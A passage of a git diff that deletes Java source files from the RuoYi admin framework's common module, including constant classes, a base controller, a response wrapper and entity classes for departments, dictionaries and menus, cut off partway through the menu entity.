/** - * 参数管理 cache key - */ - public static final String SYS_CONFIG_KEY = "sys_config:"; - - /** - * 字典管理 cache key - */ - public static final String SYS_DICT_KEY = "sys_dict:"; - - /** - * 资源映射路径 前缀 - */ - public static final String RESOURCE_PREFIX = "/profile"; -} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/constant/GenConstants.java b/ruoyi-common/src/main/java/com/ruoyi/common/constant/GenConstants.java deleted file mode 100644 index 1fa328e..0000000 --- a/ruoyi-common/src/main/java/com/ruoyi/common/constant/GenConstants.java +++ /dev/null @@ -1,114 +0,0 @@ -package com.ruoyi.common.constant; - -/** - * 代码生成通用常量 - * - * @author ruoyi - */ -public class GenConstants -{ - /** 单表(增删改查) */ - public static final String TPL_CRUD = "crud"; - - /** 树表(增删改查) */ - public static final String TPL_TREE = "tree"; - - /** 主子表(增删改查) */ - public static final String TPL_SUB = "sub"; - - /** 树编码字段 */ - public static final String TREE_CODE = "treeCode"; - - /** 树父编码字段 */ - public static final String TREE_PARENT_CODE = "treeParentCode"; - - /** 树名称字段 */ - public static final String TREE_NAME = "treeName"; - - /** 上级菜单ID字段 */ - public static final String PARENT_MENU_ID = "parentMenuId"; - - /** 上级菜单名称字段 */ - public static final String PARENT_MENU_NAME = "parentMenuName"; - - /** 数据库字符串类型 */ - public static final String[] COLUMNTYPE_STR = { "char", "varchar", "nvarchar", "varchar2" }; - - /** 数据库文本类型 */ - public static final String[] COLUMNTYPE_TEXT = { "tinytext", "text", "mediumtext", "longtext" }; - - /** 数据库时间类型 */ - public static final String[] COLUMNTYPE_TIME = { "datetime", "time", "date", "timestamp" }; - - /** 数据库数字类型 */ - public static final String[] COLUMNTYPE_NUMBER = { "tinyint", "smallint", "mediumint", "int", "number", "integer", - "bit", "bigint", "float", "double", "decimal" }; - - /** 页面不需要编辑字段 */ - public static final String[] COLUMNNAME_NOT_EDIT = { "id", "create_by", "create_time", "del_flag" }; - - /** 页面不需要显示的列表字段 */ - public static final String[] COLUMNNAME_NOT_LIST = { "id", "create_by", "create_time", "del_flag", "update_by", - "update_time" }; - - /** 页面不需要查询字段 */ - public static final String[] COLUMNNAME_NOT_QUERY = { "id", "create_by", "create_time", "del_flag", "update_by", - "update_time", "remark" }; - - /** Entity基类字段 */ - public static final String[] BASE_ENTITY = { "createBy", "createTime", "updateBy", "updateTime", "remark" }; - - /** Tree基类字段 */ - public static final String[] TREE_ENTITY = { "parentName", "parentId", "orderNum", "ancestors", "children" }; - - /** 文本框 */ - public static final String HTML_INPUT = "input"; - - /** 文本域 */ - public static final String HTML_TEXTAREA = "textarea"; - - /** 下拉框 */ - public static final String HTML_SELECT = "select"; - - /** 单选框 */ - public static final String HTML_RADIO = "radio"; - - /** 复选框 */ - public static final String HTML_CHECKBOX = "checkbox"; - - /** 日期控件 */ - public static final String HTML_DATETIME = "datetime"; - - /** 图片上传控件 */ - public static final String HTML_IMAGE_UPLOAD = "imageUpload"; - - /** 文件上传控件 */ - public static final String HTML_FILE_UPLOAD = "fileUpload"; - - /** 富文本控件 */ - public static final String HTML_EDITOR = "editor"; - - /** 字符串类型 */ - public static final String TYPE_STRING = "String"; - - /** 整型 */ - public static final String TYPE_INTEGER = "Integer"; - - /** 长整型 */ - public static final String TYPE_LONG = "Long"; - - /** 浮点型 */ - public static final String TYPE_DOUBLE = "Double"; - - /** 高精度计算类型 */ - public static final String TYPE_BIGDECIMAL = "BigDecimal"; - - /** 时间类型 */ - public static final String TYPE_DATE = "Date"; - - /** 模糊查询 */ - public static final String QUERY_LIKE = "LIKE"; - - /** 需要 */ - public static final String REQUIRE = "1"; -} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/constant/HttpStatus.java b/ruoyi-common/src/main/java/com/ruoyi/common/constant/HttpStatus.java deleted file mode 100644 index d60afee..0000000 --- a/ruoyi-common/src/main/java/com/ruoyi/common/constant/HttpStatus.java +++ /dev/null @@ -1,89 +0,0 @@ -package com.ruoyi.common.constant; - -/** - * 返回状态码 - * - * @author ruoyi - */ -public class HttpStatus -{ - /** - * 操作成功 - */ - public static final int SUCCESS = 200; - - /** - * 对象创建成功 - */ - public static final int CREATED = 201; - - /** - * 请求已经被接受 - */ - public static final int ACCEPTED = 202; - - /** - * 操作已经执行成功,但是没有返回数据 - */ - public static final int NO_CONTENT = 204; - - /** - * 资源已被移除 - */ - public static final int MOVED_PERM = 301; - - /** - * 重定向 - */ - public static final int SEE_OTHER = 303; - - /** - * 资源没有被修改 - */ - public static final int NOT_MODIFIED = 304; - - /** - * 参数列表错误(缺少,格式不匹配) - */ - public static final int BAD_REQUEST = 400; - - /** - * 未授权 - */ - public static final int UNAUTHORIZED = 401; - - /** - * 访问受限,授权过期 - */ - public static final int FORBIDDEN = 403; - - /** - * 资源,服务未找到 - */ - public static final int NOT_FOUND = 404; - - /** - * 不允许的http方法 - */ - public static final int BAD_METHOD = 405; - - /** - * 资源冲突,或者资源被锁 - */ - public static final int CONFLICT = 409; - - /** - * 不支持的数据,媒体类型 - */ - public static final int UNSUPPORTED_TYPE = 415; - - /** - * 系统内部错误 - */ - public static final int ERROR = 500; - - /** - * 接口未实现 - */ - public static final int NOT_IMPLEMENTED = 501; -} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/constant/ScheduleConstants.java b/ruoyi-common/src/main/java/com/ruoyi/common/constant/ScheduleConstants.java deleted file mode 100644 index 62ad815..0000000 --- a/ruoyi-common/src/main/java/com/ruoyi/common/constant/ScheduleConstants.java +++ /dev/null @@ -1,50 +0,0 @@ -package com.ruoyi.common.constant; - -/** - * 任务调度通用常量 - * - * @author ruoyi - */ -public class ScheduleConstants -{ - public static final String TASK_CLASS_NAME = "TASK_CLASS_NAME"; - - /** 执行目标key */ - public static final String TASK_PROPERTIES = "TASK_PROPERTIES"; - - /** 默认 */ - public static final String MISFIRE_DEFAULT = "0"; - - /** 立即触发执行 */ - public static final String MISFIRE_IGNORE_MISFIRES = "1"; - - /** 触发一次执行 */ - public static final String MISFIRE_FIRE_AND_PROCEED = "2"; - - /** 不触发立即执行 */ - public static final String MISFIRE_DO_NOTHING = "3"; - - public enum Status - { - /** - * 正常 - */ - NORMAL("0"), - /** - * 暂停 - */ - PAUSE("1"); - - private String value; - - private Status(String value) - { - this.value = value; - } - - public String getValue() - { - return value; - } - } -} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/constant/UserConstants.java b/ruoyi-common/src/main/java/com/ruoyi/common/constant/UserConstants.java deleted file mode 100644 index 56b46ba..0000000 --- a/ruoyi-common/src/main/java/com/ruoyi/common/constant/UserConstants.java +++ /dev/null @@ -1,63 +0,0 @@ -package com.ruoyi.common.constant; - -/** - * 用户常量信息 - * - * @author ruoyi - */ -public class UserConstants -{ - /** - * 平台内系统用户的唯一标志 - */ - public static final String SYS_USER = "SYS_USER"; - - /** 正常状态 */ - public static final String NORMAL = "0"; - - /** 异常状态 */ - public static final String EXCEPTION = "1"; - - /** 用户封禁状态 */ - public static final String USER_DISABLE = "1"; - - /** 角色封禁状态 */ - public static final String ROLE_DISABLE = "1"; - - /** 部门正常状态 */ - public static final String DEPT_NORMAL = "0"; - - /** 部门停用状态 */ - public static final String DEPT_DISABLE = "1"; - - /** 字典正常状态 */ - public static final String DICT_NORMAL = "0"; - - /** 是否为系统默认(是) */ - public static final String YES = "Y"; - - /** 是否菜单外链(是) */ - public static final String YES_FRAME = "0"; - - /** 是否菜单外链(否) */ - public static final String NO_FRAME = "1"; - - /** 菜单类型(目录) */ - public static final String TYPE_DIR = "M"; - - /** 菜单类型(菜单) */ - public static final String TYPE_MENU = "C"; - - /** 菜单类型(按钮) */ - public static final String TYPE_BUTTON = "F"; - - /** Layout组件标识 */ - public final static String LAYOUT = "Layout"; - - /** ParentView组件标识 */ - public final static String PARENT_VIEW = "ParentView"; - - /** 校验返回结果码 */ - public final static String UNIQUE = "0"; - public final static String NOT_UNIQUE = "1"; -} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/core/controller/BaseController.java b/ruoyi-common/src/main/java/com/ruoyi/common/core/controller/BaseController.java deleted file mode 100644 index ce32346..0000000 --- a/ruoyi-common/src/main/java/com/ruoyi/common/core/controller/BaseController.java +++ /dev/null @@ -1,148 +0,0 @@ -package com.ruoyi.common.core.controller; - -import java.beans.PropertyEditorSupport; -import java.util.Date; -import java.util.List; - -import com.ruoyi.common.utils.SecurityUtils; -import org.slf4j.Logger; -import org.slf4j.LoggerFactory; -import org.springframework.web.bind.WebDataBinder; -import org.springframework.web.bind.annotation.InitBinder; -import com.github.pagehelper.PageHelper; -import com.github.pagehelper.PageInfo; -import com.ruoyi.common.constant.HttpStatus; -import com.ruoyi.common.core.domain.AjaxResult; -import com.ruoyi.common.core.page.PageDomain; -import com.ruoyi.common.core.page.TableDataInfo; -import com.ruoyi.common.core.page.TableSupport; -import com.ruoyi.common.utils.DateUtils; -import com.ruoyi.common.utils.StringUtils; -import com.ruoyi.common.utils.sql.SqlUtil; - -/** - * web层通用数据处理 - * - * @author ruoyi - */ -public class BaseController -{ - protected final Logger logger = LoggerFactory.getLogger(this.getClass()); - - /** - * 将前台传递过来的日期格式的字符串,自动转化为Date类型 - */ - @InitBinder - public void initBinder(WebDataBinder binder) - { - // Date 类型转换 - binder.registerCustomEditor(Date.class, new PropertyEditorSupport() - { - @Override - public void setAsText(String text) - { - setValue(DateUtils.parseDate(text)); - } - }); - } - - /** - * 设置请求分页数据 - */ - protected void startPage() - { - PageDomain pageDomain = TableSupport.buildPageRequest(); - Integer pageNum = pageDomain.getPageNum(); - Integer pageSize = pageDomain.getPageSize(); - Boolean offsetPage = pageDomain.getOffsetPage(); - if (StringUtils.isNotNull(pageNum) && StringUtils.isNotNull(pageSize)) - { - String orderBy = SqlUtil.escapeOrderBySql(pageDomain.getOrderBy()); - if(null != offsetPage && offsetPage){ - PageHelper.offsetPage(pageNum,pageSize); - PageHelper.orderBy(orderBy); - }else{ - PageHelper.startPage(pageNum, pageSize, orderBy); - } - } - } - - /** - * 响应请求分页数据 - */ - @SuppressWarnings({ "rawtypes", "unchecked" }) - protected TableDataInfo getDataTable(List list) - { - TableDataInfo rspData = new TableDataInfo(); - rspData.setCode(HttpStatus.SUCCESS); - rspData.setMsg("查询成功"); - rspData.setRows(list); - rspData.setTotal(new PageInfo(list).getTotal()); - return rspData; - } - - /** - * 响应返回结果 - * - * @param rows 影响行数 - * @return 操作结果 - */ - protected AjaxResult toAjax(int rows) - { - return rows > 0 ? AjaxResult.success() : AjaxResult.error(); - } - - /** - * 响应返回结果 - * - * @param result 结果 - * @return 操作结果 - */ - protected AjaxResult toAjax(boolean result) - { - return result ? success() : error(); - } - - /** - * 返回成功 - */ - public AjaxResult success() - { - return AjaxResult.success(); - } - - /** - * 返回失败消息 - */ - public AjaxResult error() - { - return AjaxResult.error(); - } - - /** - * 返回成功消息 - */ - public AjaxResult success(String message) - { - return AjaxResult.success(message); - } - - /** - * 返回失败消息 - */ - public AjaxResult error(String message) - { - return AjaxResult.error(message); - } - - protected Long getUserId(){ - return SecurityUtils.getLoginUser().getUser().getUserId(); - } - /** - * 页面跳转 - */ - public String redirect(String url) - { - return StringUtils.format("redirect:{}", url); - } -} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/AjaxResult.java b/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/AjaxResult.java deleted file mode 100644 index 28e5a68..0000000 --- a/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/AjaxResult.java +++ /dev/null @@ -1,148 +0,0 @@ -package com.ruoyi.common.core.domain; - -import java.util.HashMap; -import com.ruoyi.common.constant.HttpStatus; -import com.ruoyi.common.utils.StringUtils; - -/** - * 操作消息提醒 - * - * @author ruoyi - */ -public class AjaxResult extends HashMap -{ - private static final long serialVersionUID = 1L; - - /** 状态码 */ - public static final String CODE_TAG = "code"; - - /** 返回内容 */ - public static final String MSG_TAG = "msg"; - - /** 数据对象 */ - public static final String DATA_TAG = "data"; - - /** - * 初始化一个新创建的 AjaxResult 对象,使其表示一个空消息。 - */ - public AjaxResult() - { - } - - /** - * 初始化一个新创建的 AjaxResult 对象 - * - * @param code 状态码 - * @param msg 返回内容 - */ - public AjaxResult(int code, String msg) - { - super.put(CODE_TAG, code); - super.put(MSG_TAG, msg); - } - - /** - * 初始化一个新创建的 AjaxResult 对象 - * - * @param code 状态码 - * @param msg 返回内容 - * @param data 数据对象 - */ - public AjaxResult(int code, String msg, Object data) - { - super.put(CODE_TAG, code); - super.put(MSG_TAG, msg); - if (StringUtils.isNotNull(data)) - { - super.put(DATA_TAG, data); - } - } - - /** - * 返回成功消息 - * - * @return 成功消息 - */ - public static AjaxResult success() - { - return AjaxResult.success("操作成功"); - } - - /** - * 返回成功数据 - * - * @return 成功消息 - */ - public static AjaxResult success(Object data) - { - return AjaxResult.success("操作成功", data); - } - - /** - * 返回成功消息 - * - * @param msg 返回内容 - * @return 成功消息 - */ - public static AjaxResult success(String msg) - { - return AjaxResult.success(msg, null); - } - - /** - * 返回成功消息 - * - * @param msg 返回内容 - * @param data 数据对象 - * @return 成功消息 - */ - public static AjaxResult success(String msg, Object data) - { - return new AjaxResult(HttpStatus.SUCCESS, msg, data); - } - - /** - * 返回错误消息 - * - * @return - */ - public static AjaxResult error() - { - return AjaxResult.error("操作失败"); - } - - /** - * 返回错误消息 - * - * @param msg 返回内容 - * @return 警告消息 - */ - public static AjaxResult error(String msg) - { - return AjaxResult.error(msg, null); - } - - /** - * 返回错误消息 - * - * @param msg 返回内容 - * @param data 数据对象 - * @return 警告消息 - */ - public static AjaxResult error(String msg, Object data) - { - return new AjaxResult(HttpStatus.ERROR, msg, data); - } - - /** - * 返回错误消息 - * - * @param code 状态码 - * @param msg 返回内容 - * @return 警告消息 - */ - public static AjaxResult error(int code, String msg) - { - return new AjaxResult(code, msg, null); - } -} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/BaseEntity.java b/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/BaseEntity.java deleted file mode 100644 index af643c4..0000000 --- a/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/BaseEntity.java +++ /dev/null @@ -1,124 +0,0 @@ -package com.ruoyi.common.core.domain; - -import java.io.Serializable; -import java.util.Date; -import java.util.HashMap; -import java.util.Map; -import com.fasterxml.jackson.annotation.JsonFormat; - -/** - * Entity基类 - * - * @author ruoyi - */ -public class BaseEntity implements Serializable -{ - private static final long serialVersionUID = 1L; - - /** 搜索值 */ - private String searchValue; - - /** 创建者 */ - private String createBy; - - /** 创建时间 */ - @JsonFormat(pattern = "yyyy-MM-dd HH:mm:ss") - private Date createTime; - - /** 更新者 */ - private String updateBy; - - /** 更新时间 */ - @JsonFormat(pattern = "yyyy-MM-dd HH:mm:ss") - private Date updateTime; - - /** 备注 */ - private String remark; - - private String orderBy; - - public String getOrderBy() { - return orderBy; - } - - public void setOrderBy(String orderBy) { - this.orderBy = orderBy; - } - - /** 请求参数 */ - private Map params; - - public String getSearchValue() - { - return searchValue; - } - - public void setSearchValue(String searchValue) - { - this.searchValue = searchValue; - } - - public String getCreateBy() - { - return createBy; - } - - public void setCreateBy(String createBy) - { - this.createBy = createBy; - } - - public Date getCreateTime() - { - return createTime; - } - - public void setCreateTime(Date createTime) - { - this.createTime = createTime; - } - - public String getUpdateBy() - { - return updateBy; - } - - public void setUpdateBy(String updateBy) - { - this.updateBy = updateBy; - } - - public Date getUpdateTime() - { - return updateTime; - } - - public void setUpdateTime(Date updateTime) - { - this.updateTime = updateTime; - } - - public String getRemark() - { - return remark; - } - - public void setRemark(String remark) - { - this.remark = remark; - } - - public Map getParams() - { - if (params == null) - { - params = new HashMap<>(); - } - return params; - } - - public void setParams(Map params) - { - this.params = params; - } -} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/TreeEntity.java b/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/TreeEntity.java deleted file mode 100644 index a180a18..0000000 --- a/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/TreeEntity.java +++ /dev/null @@ -1,79 +0,0 @@ -package com.ruoyi.common.core.domain; - -import java.util.ArrayList; -import java.util.List; - -/** - * Tree基类 - * - * @author ruoyi - */ -public class TreeEntity extends BaseEntity -{ - private static final long serialVersionUID = 1L; - - /** 父菜单名称 */ - private String parentName; - - /** 父菜单ID */ - private Long parentId; - - /** 显示顺序 */ - private Integer orderNum; - - /** 祖级列表 */ - private String ancestors; - - /** 子部门 */ - private List children = new ArrayList<>(); - - public String getParentName() - { - return parentName; - } - - public void setParentName(String parentName) - { - this.parentName = parentName; - } - - public Long getParentId() - { - return parentId; - } - - public void setParentId(Long parentId) - { - this.parentId = parentId; - } - - public Integer getOrderNum() - { - return orderNum; - } - - public void setOrderNum(Integer orderNum) - { - this.orderNum = orderNum; - } - - public String getAncestors() - { - return ancestors; - } - - public void setAncestors(String ancestors) - { - this.ancestors = ancestors; - } - - public List getChildren() - { - return children; - } - - public void setChildren(List children) - { - this.children = children; - } -} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/TreeSelect.java b/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/TreeSelect.java deleted file mode 100644 index d765216..0000000 --- a/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/TreeSelect.java +++ /dev/null @@ -1,77 +0,0 @@ -package com.ruoyi.common.core.domain; - -import java.io.Serializable; -import java.util.List; -import java.util.stream.Collectors; -import com.fasterxml.jackson.annotation.JsonInclude; -import com.ruoyi.common.core.domain.entity.SysDept; -import com.ruoyi.common.core.domain.entity.SysMenu; - -/** - * Treeselect树结构实体类 - * - * @author ruoyi - */ -public class TreeSelect implements Serializable -{ - private static final long serialVersionUID = 1L; - - /** 节点ID */ - protected Long id; - - /** 节点名称 */ - protected String label; - - /** 子节点 */ - @JsonInclude(JsonInclude.Include.NON_EMPTY) - protected List children; - - public TreeSelect() - { - - } - - public TreeSelect(SysDept dept) - { - this.id = dept.getDeptId(); - this.label = dept.getDeptName(); - this.children = dept.getChildren().stream().map(TreeSelect::new).collect(Collectors.toList()); - } - - public TreeSelect(SysMenu menu) - { - this.id = menu.getMenuId(); - this.label = menu.getMenuName(); - this.children = menu.getChildren().stream().map(TreeSelect::new).collect(Collectors.toList()); - } - - public Long getId() - { - return id; - } - - public void setId(Long id) - { - this.id = id; - } - - public String getLabel() - { - return label; - } - - public void setLabel(String label) - { - this.label = label; - } - - public List getChildren() - { - return children; - } - - public void setChildren(List children) - { - this.children = children; - } -} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/entity/SysDept.java b/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/entity/SysDept.java deleted file mode 100644 index c9238e2..0000000 --- a/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/entity/SysDept.java +++ /dev/null @@ -1,202 +0,0 @@ -package com.ruoyi.common.core.domain.entity; - -import java.util.ArrayList; -import java.util.List; -import javax.validation.constraints.Email; -import javax.validation.constraints.NotBlank; -import javax.validation.constraints.Size; -import org.apache.commons.lang3.builder.ToStringBuilder; -import org.apache.commons.lang3.builder.ToStringStyle; -import com.ruoyi.common.core.domain.BaseEntity; - -/** - * 部门表 sys_dept - * - * @author ruoyi - */ -public class SysDept extends BaseEntity -{ - private static final long serialVersionUID = 1L; - - /** 部门ID */ - private Long deptId; - - /** 父部门ID */ - private Long parentId; - - /** 祖级列表 */ - private String ancestors; - - /** 部门名称 */ - private String deptName; - - /** 显示顺序 */ - private String orderNum; - - /** 负责人 */ - private String leader; - - /** 联系电话 */ - private String phone; - - /** 邮箱 */ - private String email; - - /** 部门状态:0正常,1停用 */ - private String status; - - /** 删除标志(0代表存在 2代表删除) */ - private String delFlag; - - /** 父部门名称 */ - private String parentName; - - /** 子部门 */ - private List children = new ArrayList(); - - public Long getDeptId() - { - return deptId; - } - - public void setDeptId(Long deptId) - { - this.deptId = deptId; - } - - public Long getParentId() - { - return parentId; - } - - public void setParentId(Long parentId) - { - this.parentId = parentId; - } - - public String getAncestors() - { - return ancestors; - } - - public void setAncestors(String ancestors) - { - this.ancestors = ancestors; - } - - @NotBlank(message = "部门名称不能为空") - @Size(min = 0, max = 30, message = "部门名称长度不能超过30个字符") - public String getDeptName() - { - return deptName; - } - - public void setDeptName(String deptName) - { - this.deptName = deptName; - } - - @NotBlank(message = "显示顺序不能为空") - public String getOrderNum() - { - return orderNum; - } - - public void setOrderNum(String orderNum) - { - this.orderNum = orderNum; - } - - public String getLeader() - { - return leader; - } - - public void setLeader(String leader) - { - this.leader = leader; - } - - @Size(min = 0, max = 11, message = "联系电话长度不能超过11个字符") - public String getPhone() - { - return phone; - } - - public void setPhone(String phone) - { - this.phone = phone; - } - - @Email(message = "邮箱格式不正确") - @Size(min = 0, max = 50, message = "邮箱长度不能超过50个字符") - public String getEmail() - { - return email; - } - - public void setEmail(String email) - { - this.email = email; - } - - public String getStatus() - { - return status; - } - - public void setStatus(String status) - { - this.status = status; - } - - public String getDelFlag() - { - return delFlag; - } - - public void setDelFlag(String delFlag) - { - this.delFlag = delFlag; - } - - public String getParentName() - { - return parentName; - } - - public void setParentName(String parentName) - { - this.parentName = parentName; - } - - public List getChildren() - { - return children; - } - - public void setChildren(List children) - { - this.children = children; - } - - @Override - public String toString() { - return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE) - .append("deptId", getDeptId()) - .append("parentId", getParentId()) - .append("ancestors", getAncestors()) - .append("deptName", getDeptName()) - .append("orderNum", getOrderNum()) - .append("leader", getLeader()) - .append("phone", getPhone()) - .append("email", getEmail()) - .append("status", getStatus()) - .append("delFlag", getDelFlag()) - .append("createBy", getCreateBy()) - .append("createTime", getCreateTime()) - .append("updateBy", getUpdateBy()) - .append("updateTime", getUpdateTime()) - .toString(); - } -} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/entity/SysDictData.java b/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/entity/SysDictData.java deleted file mode 100644 index 3f152b3..0000000 --- a/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/entity/SysDictData.java +++ /dev/null @@ -1,176 +0,0 @@ -package com.ruoyi.common.core.domain.entity; - -import javax.validation.constraints.NotBlank; -import javax.validation.constraints.Size; -import org.apache.commons.lang3.builder.ToStringBuilder; -import org.apache.commons.lang3.builder.ToStringStyle; -import com.ruoyi.common.annotation.Excel; -import com.ruoyi.common.annotation.Excel.ColumnType; -import com.ruoyi.common.constant.UserConstants; -import com.ruoyi.common.core.domain.BaseEntity; - -/** - * 字典数据表 sys_dict_data - * - * @author ruoyi - */ -public class SysDictData extends BaseEntity -{ - private static final long serialVersionUID = 1L; - - /** 字典编码 */ - @Excel(name = "字典编码", cellType = ColumnType.NUMERIC) - private Long dictCode; - - /** 字典排序 */ - @Excel(name = "字典排序", cellType = ColumnType.NUMERIC) - private Long dictSort; - - /** 字典标签 */ - @Excel(name = "字典标签") - private String dictLabel; - - /** 字典键值 */ - @Excel(name = "字典键值") - private String dictValue; - - /** 字典类型 */ - @Excel(name = "字典类型") - private String dictType; - - /** 样式属性(其他样式扩展) */ - private String cssClass; - - /** 表格字典样式 */ - private String listClass; - - /** 是否默认(Y是 N否) */ - @Excel(name = "是否默认", readConverterExp = "Y=是,N=否") - private String isDefault; - - /** 状态(0正常 1停用) */ - @Excel(name = "状态", readConverterExp = "0=正常,1=停用") - private String status; - - public Long getDictCode() - { - return dictCode; - } - - public void setDictCode(Long dictCode) - { - this.dictCode = dictCode; - } - - public Long getDictSort() - { - return dictSort; - } - - public void setDictSort(Long dictSort) - { - this.dictSort = dictSort; - } - - @NotBlank(message = "字典标签不能为空") - @Size(min = 0, max = 100, message = "字典标签长度不能超过100个字符") - public String getDictLabel() - { - return dictLabel; - } - - public void setDictLabel(String dictLabel) - { - this.dictLabel = dictLabel; - } - - @NotBlank(message = "字典键值不能为空") - @Size(min = 0, max = 100, message = "字典键值长度不能超过100个字符") - public String getDictValue() - { - return dictValue; - } - - public void setDictValue(String dictValue) - { - this.dictValue = dictValue; - } - - @NotBlank(message = "字典类型不能为空") - @Size(min = 0, max = 100, message = "字典类型长度不能超过100个字符") - public String getDictType() - { - return dictType; - } - - public void setDictType(String dictType) - { - this.dictType = dictType; - } - - @Size(min = 0, max = 100, message = "样式属性长度不能超过100个字符") - public String getCssClass() - { - return cssClass; - } - - public void setCssClass(String cssClass) - { - this.cssClass = cssClass; - } - - public String getListClass() - { - return listClass; - } - - public void setListClass(String listClass) - { - this.listClass = listClass; - } - - public boolean getDefault() - { - return UserConstants.YES.equals(this.isDefault) ? true : false; - } - - public String getIsDefault() - { - return isDefault; - } - - public void setIsDefault(String isDefault) - { - this.isDefault = isDefault; - } - - public String getStatus() - { - return status; - } - - public void setStatus(String status) - { - this.status = status; - } - - @Override - public String toString() { - return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE) - .append("dictCode", getDictCode()) - .append("dictSort", getDictSort()) - .append("dictLabel", getDictLabel()) - .append("dictValue", getDictValue()) - .append("dictType", getDictType()) - .append("cssClass", getCssClass()) - .append("listClass", getListClass()) - .append("isDefault", getIsDefault()) - .append("status", getStatus()) - .append("createBy", getCreateBy()) - .append("createTime", getCreateTime()) - .append("updateBy", getUpdateBy()) - .append("updateTime", getUpdateTime()) - .append("remark", getRemark()) - .toString(); - } -} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/entity/SysDictType.java b/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/entity/SysDictType.java deleted file mode 100644 index d2c4249..0000000 --- a/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/entity/SysDictType.java +++ /dev/null @@ -1,94 +0,0 @@ -package com.ruoyi.common.core.domain.entity; - -import javax.validation.constraints.NotBlank; -import javax.validation.constraints.Size; -import org.apache.commons.lang3.builder.ToStringBuilder; -import org.apache.commons.lang3.builder.ToStringStyle; -import com.ruoyi.common.annotation.Excel; -import com.ruoyi.common.annotation.Excel.ColumnType; -import com.ruoyi.common.core.domain.BaseEntity; - -/** - * 字典类型表 sys_dict_type - * - * @author ruoyi - */ -public class SysDictType extends BaseEntity -{ - private static final long serialVersionUID = 1L; - - /** 字典主键 */ - @Excel(name = "字典主键", cellType = ColumnType.NUMERIC) - private Long dictId; - - /** 字典名称 */ - @Excel(name = "字典名称") - private String dictName; - - /** 字典类型 */ - @Excel(name = "字典类型") - private String dictType; - - /** 状态(0正常 1停用) */ - @Excel(name = "状态", readConverterExp = "0=正常,1=停用") - private String status; - - public Long getDictId() - { - return dictId; - } - - public void setDictId(Long dictId) - { - this.dictId = dictId; - } - - @NotBlank(message = "字典名称不能为空") - @Size(min = 0, max = 100, message = "字典类型名称长度不能超过100个字符") - public String getDictName() - { - return dictName; - } - - public void setDictName(String dictName) - { - this.dictName = dictName; - } - - @NotBlank(message = "字典类型不能为空") - @Size(min = 0, max = 100, message = "字典类型类型长度不能超过100个字符") - public String getDictType() - { - return dictType; - } - - public void setDictType(String dictType) - { - this.dictType = dictType; - } - - public String getStatus() - { - return status; - } - - public void setStatus(String status) - { - this.status = status; - } - - @Override - public String toString() { - return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE) - .append("dictId", getDictId()) - .append("dictName", getDictName()) - .append("dictType", getDictType()) - .append("status", getStatus()) - .append("createBy", getCreateBy()) - .append("createTime", getCreateTime()) - .append("updateBy", getUpdateBy()) - .append("updateTime", getUpdateTime()) - .append("remark", getRemark()) - .toString(); - } -} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/entity/SysMenu.java b/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/entity/SysMenu.java deleted file mode 100644 index 94d654a..0000000 --- a/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/entity/SysMenu.java +++ /dev/null @@ -1,245 +0,0 @@ -package com.ruoyi.common.core.domain.entity; - -import java.util.ArrayList; -import java.util.List; -import javax.validation.constraints.NotBlank; -import javax.validation.constraints.Size; -import org.apache.commons.lang3.builder.ToStringBuilder; -import org.apache.commons.lang3.builder.ToStringStyle; -import com.ruoyi.common.core.domain.BaseEntity; - -/** - * 菜单权限表 sys_menu - * - * @author ruoyi - */ -public class SysMenu extends BaseEntity -{ - private static final long serialVersionUID = 1L; - - /** 菜单ID */ - private Long menuId; - - /** 菜单名称 */ - private String menuName; - - /** 父菜单名称 */ - private String parentName; - - /** 父菜单ID */ - private Long parentId; - - /** 显示顺序 */ - private String orderNum; - - /** 路由地址 */ - private String path; - - /** 组件路径 */ - private String component; - - /** 是否为外链(0是 1否) */ - private String isFrame; - - /** 是否缓存(0缓存 1不缓存) */ - private String isCache; - - /** 类型(M目录 C菜单 F按钮) */ - private String menuType; - - /** 显示状态(0显示 1隐藏) */ - private String visible; - - /** 菜单状态(0显示 1隐藏) */ - private String status; - - /** 权限字符串 */ - private String perms; - - /** 菜单图标 */ - private String icon; - - /** 子菜单 */ - private List children = new ArrayList(); - - public Long getMenuId() - { - return menuId; - } - - public void setMenuId(Long menuId) - { - this.menuId = menuId; - } - - @NotBlank(message = "菜单名称不能为空") - @Size(min = 0, max = 50, message = "菜单名称长度不能超过50个字符") - public String getMenuName() - { - return menuName; - } - - public void setMenuName(String menuName) - { - this.menuName = menuName; - } - - public String getParentName() - { - return parentName; - } - - public void setParentName(String parentName) - { - this.parentName = parentName; - } - - public Long getParentId() - { - return parentId; - } - - public void setParentId(Long parentId) - { - this.parentId = parentId; - } - - @NotBlank(message = "显示顺序不能为空") - public String getOrderNum() - { - return orderNum; - } - - public void setOrderNum(String orderNum) - { - this.orderNum = orderNum; - } - - @Size(min = 0, max = 200, message = "路由地址不能超过200个字符") - public String getPath() - { - return path; - } - - public void setPath(String path) - { - this.path = path; 